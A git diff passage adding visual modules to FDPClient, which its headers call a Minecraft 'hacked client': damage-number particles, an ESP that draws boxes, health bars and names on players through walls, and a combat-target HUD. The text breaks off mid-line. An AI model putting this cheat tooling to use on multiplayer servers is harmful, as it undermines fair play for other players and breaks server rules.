net.ccbluex.liquidbounce.utils.EntityUtils +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.entity.EntityLivingBase +import org.lwjgl.opengl.GL11 +import java.awt.Color +import java.math.BigDecimal +import java.util.* +import kotlin.math.abs + +@ModuleInfo(name = "DamageParticle", category = ModuleCategory.VISUAL) +object DamageParticle : Module() { + + private val aliveTicksValue = IntegerValue("AliveTicks", 20, 10, 50) + private val sizeValue = IntegerValue("Size", 3, 1, 7) + private val colourValue = ListValue("ColourType", arrayOf("Damage", "Custom", "Rainbow"), "Custom") + private val colorRedValue = IntegerValue("Red", 68, 0, 255).displayable { colourValue.get() == "Custom" } + private val colorGreenValue = IntegerValue("Green", 117, 0, 255).displayable { colourValue.get() == "Custom" } + private val colorBlueValue = IntegerValue("Blue", 255, 0, 255).displayable { colourValue.get() == "Custom" } + private val colorAlphaValue = IntegerValue("Alpha", 100, 0, 255) + private val shadowValue = ListValue("Mode", arrayOf("LB", "Default", "Autumn", "Outline", "None"), "Outline").displayable { colourValue.get() != "Damage" } + private val healthData = mutableMapOf<Int, Float>() + private val particles = mutableListOf<SingleParticle>() + + @EventTarget + fun onUpdate(event: UpdateEvent) { + synchronized(particles) { + for(entity in mc.theWorld.loadedEntityList) { + if(entity is EntityLivingBase && EntityUtils.isSelected(entity,true)) { + val lastHealth = healthData.getOrDefault(entity.entityId,entity.maxHealth) + healthData[entity.entityId] = entity.health + if(lastHealth == entity.health) continue + val colourPrefix = if (colourValue.get() == "Damage") (if(lastHealth>entity.health){"§c"}else{"§a"}) else "" + val prefix = if (colourValue.get() != "Rainbow") (if(lastHealth>entity.health){"❤"}else{"❤"}) else (if(lastHealth>entity.health){"-"}else{"+"}) + particles.add(SingleParticle(colourPrefix + prefix + BigDecimal(abs(lastHealth - entity.health).toDouble()).setScale(1, BigDecimal.ROUND_HALF_UP).toDouble() + ,entity.posX - 0.5 + Random(System.currentTimeMillis()).nextInt(5).toDouble() * 0.1 + ,entity.entityBoundingBox.minY + (entity.entityBoundingBox.maxY - entity.entityBoundingBox.minY) / 2.0 + ,entity.posZ - 0.5 + Random(System.currentTimeMillis() + 1L).nextInt(5).toDouble() * 0.1) + ) + } + } + + val needRemove = ArrayList<SingleParticle> () + for (particle in particles) { + particle.ticks++ + if (particle.ticks>aliveTicksValue.get()) { + needRemove.add(particle) + } + } + for (particle in needRemove) { + particles.remove(particle) + } + } + } + + @EventTarget + fun onRender3d(event: Render3DEvent) { + synchronized(particles) { + val renderManager = mc.renderManager + val size = sizeValue.get() * 0.01 + + for (particle in particles) { + val n: Double = particle.posX - renderManager.renderPosX + val n2: Double = particle.posY - renderManager.renderPosY + val n3: Double = particle.posZ - renderManager.renderPosZ + GlStateManager.pushMatrix() + GlStateManager.enablePolygonOffset() + GlStateManager.doPolygonOffset(1.0f, -1500000.0f) + GlStateManager.translate(n.toFloat(), n2.toFloat(), n3.toFloat()) + GlStateManager.rotate(-renderManager.playerViewY, 0.0f, 1.0f, 0.0f) + val textY = if (mc.gameSettings.thirdPersonView == 2) { -1.0f } else { 1.0f } + + GlStateManager.rotate(renderManager.playerViewX, textY, 0.0f, 0.0f) + GlStateManager.scale(-size, -size, size) + GL11.glDepthMask(false) + val x = -(mc.fontRendererObj.getStringWidth(particle.str) / 2) + val y = -(mc.fontRendererObj.FONT_HEIGHT - 1) + if(colourValue.get() != "Damage"){ + when (shadowValue.get()) { + "LB" -> {mc.fontRendererObj.drawString(particle.str, (x + 1), (y + 1), Color(0, 0, 0, 150).rgb)} + "Autumn" -> {mc.fontRendererObj.drawString(particle.str, (x + 1), (y + 1), Color(20, 20, 20, 150).rgb)} + "Default" -> {mc.fontRendererObj.drawString(particle.str, (x + 0.5f), (y + 0.5f), Color(0, 0, 0, 130).rgb, false)} + "Outline" -> { + mc.fontRendererObj.drawString(particle.str, x + 0.5F, y + 0.5F, Color(0, 0, 0, 130).rgb, false) + mc.fontRendererObj.drawString(particle.str, x - 0.5F, y - 0.5F, Color(0, 0, 0, 130).rgb, false) + mc.fontRendererObj.drawString(particle.str, x + 0.5F, y - 0.5F, Color(0, 0, 0, 130).rgb, false) + mc.fontRendererObj.drawString(particle.str, x - 0.5F, y + 0.5F, Color(0, 0, 0, 130).rgb, false) + } + } + } + mc.fontRendererObj.drawString(particle.str, (-(mc.fontRendererObj.getStringWidth(particle.str) / 2)).toFloat(), (-(mc.fontRendererObj.FONT_HEIGHT - 1)).toFloat(), (if (colourValue.get() == "Rainbow") ColorUtils.rainbowWithAlpha(colorAlphaValue.get()) else Color(colorRedValue.get(), colorGreenValue.get(), colorBlueValue.get(), colorAlphaValue.get())).rgb, false) + GL11.glColor4f(187.0f, 255.0f, 255.0f, 1.0f) + GL11.glDepthMask(true) + GlStateManager.doPolygonOffset(1.0f, 1500000.0f) + GlStateManager.disablePolygonOffset() + GlStateManager.resetColor() + GlStateManager.popMatrix() + } + } + } + + @EventTarget + fun onWorld(event: WorldEvent) { + particles.clear() + healthData.clear() + } +} + +class SingleParticle(val str: String, val posX: Double, val posY: Double, val posZ: Double) { + var ticks = 0 +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/ESP.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/ESP.kt new file mode 100644 index 0000000..09fd33d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/ESP.kt @@ -0,0 +1,354 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render2DEvent +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.ui.font.GameFontRenderer.Companion.getColorIndex +import net.ccbluex.liquidbounce.utils.EntityUtils +import net.ccbluex.liquidbounce.utils.extensions.drawCenteredString +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.WorldToScreen +import net.ccbluex.liquidbounce.utils.render.shader.FramebufferShader +import net.ccbluex.liquidbounce.utils.render.shader.shaders.GlowShader +import net.ccbluex.liquidbounce.utils.render.shader.shaders.OutlineShader +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.entity.Entity +import net.minecraft.entity.EntityLivingBase +import net.minecraft.entity.player.EntityPlayer +import net.minecraft.item.ItemArmor +import org.lwjgl.opengl.GL11 +import org.lwjgl.util.vector.Vector3f +import java.awt.Color +import java.text.DecimalFormat + +@ModuleInfo(name = "ESP", category = ModuleCategory.VISUAL) +object ESP : Module() { + val modeValue = ListValue( + "Mode", + arrayOf("Box", "OtherBox", "WireFrame", "2D", "Real2D", "CSGO", "CSGO-Old", "Outline", "ShaderOutline", "ShaderGlow", "Jello"), + "CSGO" + ) + private val outlineWidthValue = FloatValue("Outline-Width", 3f, 0.5f, 5f).displayable { modeValue.equals("Outline") } + val wireframeWidthValue = FloatValue("WireFrame-Width", 2f, 0.5f, 5f).displayable { modeValue.equals("WireFrame") } + private val shaderOutlineRadiusValue = FloatValue("ShaderOutline-Radius", 1.35f, 1f, 2f).displayable { modeValue.equals("ShaderOutline") } + private val shaderGlowRadiusValue = FloatValue("ShaderGlow-Radius", 2.3f, 2f, 3f).displayable { modeValue.equals("ShaderGlow") } + private val csgoDirectLineValue = BoolValue("CSGO-DirectLine", false).displayable { modeValue.equals("CSGO") } + private val csgoShowHealthValue = BoolValue("CSGO-ShowHealth", true).displayable { modeValue.equals("CSGO") } + private val csgoShowHeldItemValue = BoolValue("CSGO-ShowHeldItem", true).displayable { modeValue.equals("CSGO") } + private val csgoShowNameValue = BoolValue("CSGO-ShowName", true).displayable { modeValue.equals("CSGO") } + private val csgoWidthValue = FloatValue("CSGOOld-Width", 2f, 0.5f, 5f).displayable { modeValue.equals("CSGO-Old") } + private val colorModeValue = ListValue("ColorMode", arrayOf("Name", "Armor", "OFF"), "Name") + private val colorRedValue = IntegerValue("R", 255, 0, 255).displayable { colorModeValue.get() == "OFF" && !colorRainbowValue.get() } + private val colorGreenValue = IntegerValue("G", 255, 0, 255).displayable { colorModeValue.get() == "OFF" && !colorRainbowValue.get() } + private val colorBlueValue = IntegerValue("B", 255, 0, 255).displayable { colorModeValue.get() == "OFF" && !colorRainbowValue.get() } + private val colorRainbowValue = BoolValue("Rainbow", false).displayable { colorModeValue.get() == "OFF" } + private val damageColorValue = BoolValue("ColorOnDamage", true) + private val damageRedValue = IntegerValue("DamageR", 255, 0, 255).displayable { damageColorValue.get() } + private val damageGreenValue = IntegerValue("DamageG", 0, 0, 255).displayable { damageColorValue.get() } + private val damageBlueValue = IntegerValue("DamageB", 0, 0, 255).displayable { damageColorValue.get() } + + + private val decimalFormat = DecimalFormat("0.0") + + @EventTarget + fun onRender3D(event: Render3DEvent) { + val mode = modeValue.get().lowercase() + val mvMatrix = WorldToScreen.getMatrix(GL11.GL_MODELVIEW_MATRIX) + val projectionMatrix = WorldToScreen.getMatrix(GL11.GL_PROJECTION_MATRIX) + + val need2dTranslate = mode == "csgo" || mode == "real2d" || mode == "csgo-old" + if (need2dTranslate) { + GL11.glPushAttrib(GL11.GL_ENABLE_BIT) + GL11.glEnable(GL11.GL_BLEND) + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glDisable(GL11.GL_DEPTH_TEST) + GL11.glMatrixMode(GL11.GL_PROJECTION) + GL11.glPushMatrix() + GL11.glLoadIdentity() + GL11.glOrtho(0.0, mc.displayWidth.toDouble(), mc.displayHeight.toDouble(), 0.0, -1.0, 1.0) + GL11.glMatrixMode(GL11.GL_MODELVIEW) + GL11.glPushMatrix() + GL11.glLoadIdentity() + GL11.glDisable(GL11.GL_DEPTH_TEST) + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + GlStateManager.enableTexture2D() + GlStateManager.depthMask(true) + GL11.glLineWidth(1.0f) + } + + for (entity in mc.theWorld.loadedEntityList) { + if (EntityUtils.isSelected(entity, true)) { + val entityLiving = entity as EntityLivingBase + val color = getColor(entityLiving) + when (mode) { + "box", "otherbox" -> RenderUtils.drawEntityBox(entity, color, mode != "otherbox", true, outlineWidthValue.get()) + + "outline" -> RenderUtils.drawEntityBox(entity, color, true, false, outlineWidthValue.get()) + + "2d" -> { + val renderManager = mc.renderManager + val timer = mc.timer + val posX = + entityLiving.lastTickPosX + (entityLiving.posX - entityLiving.lastTickPosX) * timer.renderPartialTicks - renderManager.renderPosX + val posY = + entityLiving.lastTickPosY + (entityLiving.posY - entityLiving.lastTickPosY) * timer.renderPartialTicks - renderManager.renderPosY + val posZ = + entityLiving.lastTickPosZ + (entityLiving.posZ - entityLiving.lastTickPosZ) * timer.renderPartialTicks - renderManager.renderPosZ + RenderUtils.draw2D(entityLiving, posX, posY, posZ, color.rgb, Color.BLACK.rgb) + } + + "csgo", "real2d", "csgo-old" -> { + val renderManager = mc.renderManager + val timer = mc.timer + val bb = entityLiving.entityBoundingBox + .offset(-entityLiving.posX, -entityLiving.posY, -entityLiving.posZ) + .offset( + entityLiving.lastTickPosX + (entityLiving.posX - entityLiving.lastTickPosX) * timer.renderPartialTicks, + entityLiving.lastTickPosY + (entityLiving.posY - entityLiving.lastTickPosY) * timer.renderPartialTicks, + entityLiving.lastTickPosZ + (entityLiving.posZ - entityLiving.lastTickPosZ) * timer.renderPartialTicks + ) + .offset(-renderManager.renderPosX, -renderManager.renderPosY, -renderManager.renderPosZ) + val boxVertices = arrayOf( + doubleArrayOf(bb.minX, bb.minY, bb.minZ), + doubleArrayOf(bb.minX, bb.maxY, bb.minZ), + doubleArrayOf(bb.maxX, bb.maxY, bb.minZ), + doubleArrayOf(bb.maxX, bb.minY, bb.minZ), + doubleArrayOf(bb.minX, bb.minY, bb.maxZ), + doubleArrayOf(bb.minX, bb.maxY, bb.maxZ), + doubleArrayOf(bb.maxX, bb.maxY, bb.maxZ), + doubleArrayOf(bb.maxX, bb.minY, bb.maxZ) + ) + var minX = mc.displayWidth.toFloat() + var minY = mc.displayHeight.toFloat() + var maxX = 0f + var maxY = 0f + for (boxVertex in boxVertices) { + val screenPos = WorldToScreen.worldToScreen( + Vector3f( + boxVertex[0].toFloat(), boxVertex[1].toFloat(), boxVertex[2].toFloat() + ), mvMatrix, projectionMatrix, mc.displayWidth, mc.displayHeight + ) ?: continue + minX = screenPos.x.coerceAtMost(minX) + minY = screenPos.y.coerceAtMost(minY) + maxX = screenPos.x.coerceAtLeast(maxX) + maxY = screenPos.y.coerceAtLeast(maxY) + } + + // out of screen + if (!(minX == mc.displayWidth.toFloat() || minY == mc.displayHeight.toFloat() || maxX == 0f || maxY == 0f)) { + if (mode == "csgo") { + RenderUtils.glColor(color) + if (!csgoDirectLineValue.get()) { + val distX = (maxX - minX) / 3.0f + val distY = (maxY - minY) / 3.0f + GL11.glBegin(GL11.GL_LINE_STRIP) + GL11.glVertex2f(minX, minY + distY) + GL11.glVertex2f(minX, minY) + GL11.glVertex2f(minX + distX, minY) + GL11.glEnd() + GL11.glBegin(GL11.GL_LINE_STRIP) + GL11.glVertex2f(minX, maxY - distY) + GL11.glVertex2f(minX, maxY) + GL11.glVertex2f(minX + distX, maxY) + GL11.glEnd() + GL11.glBegin(GL11.GL_LINE_STRIP) + GL11.glVertex2f(maxX - distX, minY) + GL11.glVertex2f(maxX, minY) + GL11.glVertex2f(maxX, minY + distY) + GL11.glEnd() + GL11.glBegin(GL11.GL_LINE_STRIP) + GL11.glVertex2f(maxX - distX, maxY) + GL11.glVertex2f(maxX, maxY) + GL11.glVertex2f(maxX, maxY - distY) + GL11.glEnd() + } else { + GL11.glBegin(GL11.GL_LINE_LOOP) + GL11.glVertex2f(minX, minY) + GL11.glVertex2f(minX, maxY) + GL11.glVertex2f(maxX, maxY) + GL11.glVertex2f(maxX, minY) + GL11.glEnd() + } + if (csgoShowHealthValue.get()) { + val barHeight = (maxY - minY) * (1.0f - entityLiving.health / entityLiving.maxHealth) + GL11.glColor4f(0.1f, 1.0f, 0.1f, 1.0f) + GL11.glBegin(GL11.GL_QUADS) + GL11.glVertex2f(maxX + 2.0f, minY + barHeight) + GL11.glVertex2f(maxX + 2.0f, maxY) + GL11.glVertex2f(maxX + 3.0f, maxY) + GL11.glVertex2f(maxX + 3.0f, minY + barHeight) + GL11.glEnd() + GL11.glColor4f(1.0f, 1.0f, 1.0f, 1.0f) + GL11.glEnable(GL11.GL_TEXTURE_2D) + GL11.glEnable(GL11.GL_DEPTH_TEST) + mc.fontRendererObj.drawString(this.decimalFormat.format(entityLiving.health) + "§c❤", maxX + 4.0f, minY + barHeight, ColorUtils.healthColor(entityLiving.health, entityLiving.maxHealth).rgb, false) + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glDisable(GL11.GL_DEPTH_TEST) + GL11.glColor4f(1.0f, 1.0f, 1.0f, 1.0f) + } + if (csgoShowHeldItemValue.get() && entityLiving.heldItem?.displayName != null) { + GL11.glEnable(GL11.GL_TEXTURE_2D) + GL11.glEnable(GL11.GL_DEPTH_TEST) + mc.fontRendererObj.drawCenteredString(entityLiving.heldItem.displayName, minX + (maxX - minX) / 2.0f, maxY + 2.0f, -1) + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glDisable(GL11.GL_DEPTH_TEST) + } + if (csgoShowNameValue.get()) { + GL11.glEnable(GL11.GL_TEXTURE_2D) + GL11.glEnable(GL11.GL_DEPTH_TEST) + mc.fontRendererObj.drawCenteredString(entityLiving.displayName.formattedText, minX + (maxX - minX) / 2.0f, minY - 12.0f, -1) + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glDisable(GL11.GL_DEPTH_TEST) + } + } else if (mode == "real2d") { + RenderUtils.drawRect(minX - 1, minY - 1, minX, maxY, color) + RenderUtils.drawRect(maxX, minY - 1, maxX + 1, maxY + 1, color) + RenderUtils.drawRect(minX - 1, maxY, maxX, maxY + 1, color) + RenderUtils.drawRect(minX - 1, minY - 1, maxX, minY, color) + } else if (mode == "csgo-old") { + val width = csgoWidthValue.get() * ((maxY - minY) / 50) + RenderUtils.drawRect(minX - width, minY - width, minX, maxY, color) + RenderUtils.drawRect(maxX, minY - width, maxX + width, maxY + width, color) + RenderUtils.drawRect(minX - width, maxY, maxX, maxY + width, color) + RenderUtils.drawRect(minX - width, minY - width, maxX, minY, color) + // hp bar + val hpSize = (maxY + width - minY) * (entityLiving.health / entityLiving.maxHealth) + RenderUtils.drawRect(minX - width * 3, minY - width, minX - width * 2, maxY + width, Color.GRAY) + RenderUtils.drawRect(minX - width * 3, maxY - hpSize, minX - width * 2, maxY + width, ColorUtils.healthColor(entityLiving.health, entityLiving.maxHealth)) + } + } + } + } + } + } + + if (need2dTranslate) { + GL11.glEnable(GL11.GL_DEPTH_TEST) + GL11.glMatrixMode(GL11.GL_PROJECTION) + GL11.glPopMatrix() + GL11.glMatrixMode(GL11.GL_MODELVIEW) + GL11.glPopMatrix() + GL11.glPopAttrib() + } + } + + @EventTarget + fun onRender2D(event: Render2DEvent) { + val mode = modeValue.get().lowercase() + val partialTicks = event.partialTicks + + if (mode.equals("jello", ignoreCase = true)) { + val hurtingEntities = ArrayList<EntityLivingBase>() + var shader: FramebufferShader = GlowShader.GLOW_SHADER + var radius = 3f + var color = Color(120, 120, 120) + var hurtColor = Color(120, 0, 0) + var firstRun = true + + for (i in 0..1) { + shader.startDraw(partialTicks) + for (entity in mc.theWorld.loadedEntityList) { + if (EntityUtils.isSelected(entity, false)) { + val entityLivingBase = entity as EntityLivingBase + if (firstRun && entityLivingBase.hurtTime > 0) { + hurtingEntities.add(entityLivingBase) + continue + } + mc.renderManager.renderEntityStatic(entity, partialTicks, true) + } + } + shader.stopDraw(color, radius, 1f) + + // hurt + if (hurtingEntities.size > 0) { + shader.startDraw(partialTicks) + for (entity in hurtingEntities) { + mc.renderManager.renderEntityStatic(entity, partialTicks, true) + } + shader.stopDraw(hurtColor, radius, 1f) + } + shader = OutlineShader.OUTLINE_SHADER + radius = 1.2f + color = Color(255, 255, 255, 170) + hurtColor = Color(255, 0, 0, 170) + firstRun = false + } + return + } + + // normal shader esp + val shader = when (mode) { + "shaderoutline" -> OutlineShader.OUTLINE_SHADER + "shaderglow" -> GlowShader.GLOW_SHADER + else -> return + } + val radius = when (mode) { + "shaderoutline" -> shaderOutlineRadiusValue.get() + "shaderglow" -> shaderGlowRadiusValue.get() + else -> 1f + } + + // search + val entityMap: MutableMap<Color, ArrayList<EntityLivingBase>> = HashMap() + for (entity in mc.theWorld.loadedEntityList) { + if (EntityUtils.isSelected(entity, false)) { + val entityLiving = entity as EntityLivingBase + val color = getColor(entityLiving) + if (!entityMap.containsKey(color)) { + entityMap[color] = ArrayList() + } + entityMap[color]!!.add(entityLiving) + } + } + + // draw + for ((key, value) in entityMap) { + shader.startDraw(partialTicks) + for (entity in value) { + mc.renderManager.renderEntityStatic(entity, partialTicks, true) + } + shader.stopDraw(key, radius, 1f) + } + } + + override val tag: String + get() = modeValue.get() + + fun getColor(entity: Entity): Color { + if (entity is EntityLivingBase) { + if (entity.hurtTime > 0 && damageColorValue.get()) return Color(damageRedValue.get(), damageGreenValue.get(), damageBlueValue.get()) + if (EntityUtils.isFriend(entity)) return Color.BLUE + if (colorModeValue.get() == "Name") { + val chars = entity.displayName.formattedText.toCharArray() + for (i in chars.indices) { + if (chars[i] != '§' || i + 1 >= chars.size) continue + val index = getColorIndex(chars[i + 1]) + if (index < 0 || index > 15) continue + return Color(ColorUtils.hexColors[index]) + } + } else if (colorModeValue.get() == "Armor") { + if (entity is EntityPlayer) { + val entityHead = entity.inventory.armorInventory[3] ?: return Color(Int.MAX_VALUE) + if (entityHead.item is ItemArmor) { + val entityItemArmor = entityHead.item as ItemArmor + return Color(entityItemArmor.getColor(entityHead)) + } + } + } + } + return if (colorRainbowValue.get()) ColorUtils.rainbow() else Color(colorRedValue.get(), colorGreenValue.get(), colorBlueValue.get()) + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/FollowTargetHud.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/FollowTargetHud.kt new file mode 100644 index 0000000..29e34d1 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/visual/FollowTargetHud.kt @@ -0,0 +1,346 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.visual + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.other.AntiBot +import net.ccbluex.liquidbounce.features.module.modules.other.Teams +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.EntityUtils +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils.* +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.features.value.* +import net.minecraft.client.renderer.GlStateManager.resetColor +import net.minecraft.entity.EntityLivingBase +import org.lwjgl.opengl.GL11.* +import java.awt.Color +import java.text.DecimalFormat +import kotlin.math.roundToInt + +@ModuleInfo(name = "FollowTargetHud", category = ModuleCategory.VISUAL) +class FollowTargetHud : Module() { + + private val zoomIn = BoolValue("ZoomIn", true) + private val zoomTicks = IntegerValue("ZoomInTicks", 4, 2, 15).displayable {zoomIn.get()} + private val modeValue = ListValue("Mode", arrayOf("Juul", "Jello", "Material", "Material2", "Arris", "FDP"), "Juul") + private val fontValue = FontValue("Font", Fonts.font40) + private val materialShadow = BoolValue("MaterialShadow", false).displayable {modeValue.equals("Material") || modeValue.equals("Material2")} + private val fdpVertical = BoolValue("FDPVertical", false).displayable {modeValue.equals("FDP")} + private val fdpText = BoolValue("FDPDrawText", true).displayable {modeValue.equals("FDP") && !fdpVertical.get()} + private val fdpRed = BoolValue("FDPRed", false).displayable {modeValue.equals("FDP")} + private val smoothMove = BoolValue("SmoothHudMove", true) + private val smoothValue = FloatValue("SmoothHudMoveValue", 5.2f, 1f, 8f).displayable { smoothMove.get() } + private val smoothRot = BoolValue("SmoothHudRotations", true) + private val rotSmoothValue = FloatValue("SmothHudRotationValue", 2.1f, 1f, 6f). displayable {smoothRot.get() } + private val jelloColorValue = BoolValue("JelloHPColor", true).displayable { modeValue.equals("Jello") } + private val jelloAlphaValue = IntegerValue("JelloAlpha", 170, 0, 255).displayable { modeValue.equals("Jello") } + private val scaleValue = FloatValue("Scale", 1F, 1F, 4F) + private val staticScale = BoolValue("StaticScale", false) + private val translateY = FloatValue("TanslateY", 0.55F,-2F,2F) + private val translateX = FloatValue("TranslateX", 0F, -2F, 2F) + private var xChange = translateX.get() * 20 + + private var targetTicks = 0 + private var entityKeep = "yes" + + private var lastX = 0.0 + private var lastY = 0.0 + private var lastZ = 0.0 + + private var lastYaw = 0.0f + private var lastPitch = 0.0f + + companion object { + val HEALTH_FORMAT = DecimalFormat("#.#") + } + + @EventTarget + fun onRender3D(event: Render3DEvent) { + if(mc.thePlayer == null) + return + for (entity in mc.theWorld.loadedEntityList) { + if (EntityUtils.isSelected(entity, false)) { + renderNameTag(entity as EntityLivingBase, entity.name) + } + } + } + + private fun getPlayerName(entity: EntityLivingBase): String { + val name = entity.displayName.formattedText + var pre = "" + val teams = FDPClient.moduleManager[Teams::class.java]!! + if (FDPClient.fileManager.friendsConfig.isFriend(entity.name)) { + pre = "$pre§b[Friend] " + } + if (teams.isInYourTeam(entity)) { + pre = "$pre§a[TEAM] " + } + if (AntiBot.isBot(entity)) { + pre = "$pre§e[BOT] " + } + if (!AntiBot.isBot(entity) && !teams.isInYourTeam(entity)) { + pre = if (FDPClient.fileManager.friendsConfig.isFriend(entity.name)) { + "§b[Friend] §c" + } else { + "§c" + } + } + return name + pre + } + + private fun renderNameTag(entity: EntityLivingBase, tag: String) { + xChange = translateX.get() * 20 + + if (entity != FDPClient.combatManager.target && entity.getName() != entityKeep) { + return + } else if ( entity == FDPClient.combatManager.target) { + entityKeep = entity.getName() + targetTicks++ + if (targetTicks >= zoomTicks.get() + 2) { + targetTicks = zoomTicks.get() + 1 + } + } else if (FDPClient.combatManager.target == null) { + targetTicks-- + if (targetTicks <= -1) { + targetTicks = 0 + entityKeep = "dg636 top" + } + } + + if (targetTicks == 0) { + return + } + + // Set fontrenderer local + val fontRenderer = fontValue.get() + val font = fontValue.get() + + // Push + glPushMatrix() + + // Translate to player position + val renderManager = mc.renderManager + val timer = mc.timer + + if (smoothMove.get()) { + lastX += ((entity.lastTickPosX + (entity.posX - entity.lastTickPosX) * timer.renderPartialTicks - renderManager.renderPosX).toDouble() - lastX) / smoothValue.get().toDouble() + lastY += ((entity.lastTickPosY + (entity.posY - entity.lastTickPosY) * timer.renderPartialTicks - renderManager.renderPosY + entity.eyeHeight.toDouble() + translateY.get().toDouble()).toDouble() - lastY) / smoothValue.get().toDouble() + lastZ += ((entity.lastTickPosZ + (entity.posZ - entity.lastTickPosZ) * timer.renderPartialTicks - renderManager.renderPosZ).toDouble() - lastZ) / smoothValue.get().toDouble() + + glTranslated( lastX, lastY, lastZ ) + } else { + glTranslated( // Translate to player position with render pos and interpolate it + entity.lastTickPosX + (entity.posX - entity.lastTickPosX) * timer.renderPartialTicks - renderManager.renderPosX, + entity.lastTickPosY + (entity.posY - entity.lastTickPosY) * timer.renderPartialTicks - renderManager.renderPosY + entity.eyeHeight.toDouble() + translateY.get().toDouble(), + entity.lastTickPosZ + (entity.posZ - entity.lastTickPosZ) * timer.renderPartialTicks - renderManager.renderPosZ + ) + } + + // Rotate view to player + if (smoothRot.get()) { + lastYaw += (-mc.renderManager.playerViewY - lastYaw) / rotSmoothValue.get() + lastPitch += (mc.renderManager.playerViewX - lastPitch) / rotSmoothValue.get() + + glRotatef(lastYaw, 0F, 1F, 0F) + glRotatef(lastPitch, 1F, 0F, 0F) + } else { + glRotatef(-mc.renderManager.playerViewY, 0F, 1F, 0F) + glRotatef(mc.renderManager.playerViewX, 1F, 0F, 0F) + } + + // Scale + var distance = mc.thePlayer.getDistanceToEntity(entity) / 4F + + if (distance < 1F) + distance = 1F + + if (staticScale.get()) + distance = 1F + + var scale = (distance / 150F) * scaleValue.get() + if (zoomIn.get()) { + scale *= (targetTicks.coerceAtMost(zoomTicks.get()) / zoomTicks.get()).toFloat() + } + + // Disable lightning and depth test + disableGlCap(GL_LIGHTING, GL_DEPTH_TEST) + + // Enable blend + enableGlCap(GL_BLEND) + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) + + val name = entity.displayName.unformattedText + var healthPercent = entity.health / entity.maxHealth + // render hp bar + if (healthPercent> 1) { + healthPercent = 1F + } + + // Draw nametag + when (modeValue.get().lowercase()) { + + + "juul" -> { + + // render bg + glScalef(-scale * 2, -scale * 2, scale * 2) + drawRoundedCornerRect(-120f + xChange, -16f, -50f + xChange, 10f, 5f, Color(64, 64, 64, 255).rgb) + drawRoundedCornerRect(-110f + xChange, 0f, -20f + xChange, 35f, 5f, Color(96, 96, 96, 255).rgb) + + // draw strings + fontRenderer.drawString("Attacking", -105 + xChange.toInt(), -13, Color.WHITE.rgb) + fontRenderer.drawString(tag, -106 + xChange.toInt() , 10, Color.WHITE.rgb) + + + val distanceString = "⤢" + ( ( ( mc.thePlayer.getDistanceToEntity(entity) * 10f ).toInt() ).toFloat() * 0.1f ).toString() + fontRenderer.drawString(distanceString, -25 - fontRenderer.getStringWidth(distanceString).toInt() + xChange.toInt(), 10, Color.WHITE.rgb) + + // draw health bars + drawRoundedCornerRect(-104f + xChange, 22f, -50f + xChange, 30f, 1f, Color(64, 64, 64, 255).rgb) + drawRoundedCornerRect(-104f + xChange, 22f, -104f + (healthPercent * 54) + xChange, 30f, 1f, Color.WHITE.rgb) + + } + + "material" -> { + glScalef(-scale * 2, -scale * 2, scale * 2) + + // render bg + if (materialShadow.get()) { + drawShadow(-40f + xChange, 0f, 40f + xChange, 29f) + drawRect(-40f + xChange, 0f, 40f + xChange, 29f, Color(72, 72, 72, 250).rgb) + } else { + drawRoundedCornerRect(-40f + xChange, 0f, 40f + xChange, 29f, 5f, Color(72, 72, 72, 250).rgb) + } + + // draw health bars + drawRoundedCornerRect(-35f + xChange, 7f, -35f + (healthPercent * 70) + xChange, 12f, 2f, Color(10, 250, 10, 255).rgb) + drawRoundedCornerRect(-35f + xChange, 17f, -35f + ((entity.totalArmorValue / 20F) * 70) + xChange, 22f, 2f, Color(10, 10, 250, 255).rgb) + + } + + "material2" -> { + glScalef(-scale * 2, -scale * 2, scale * 2) + + // render bg + if (materialShadow.get()) { + drawShadow(-40f + xChange, 0f, 40f + xChange, 15f) + drawShadow(-40f + xChange, 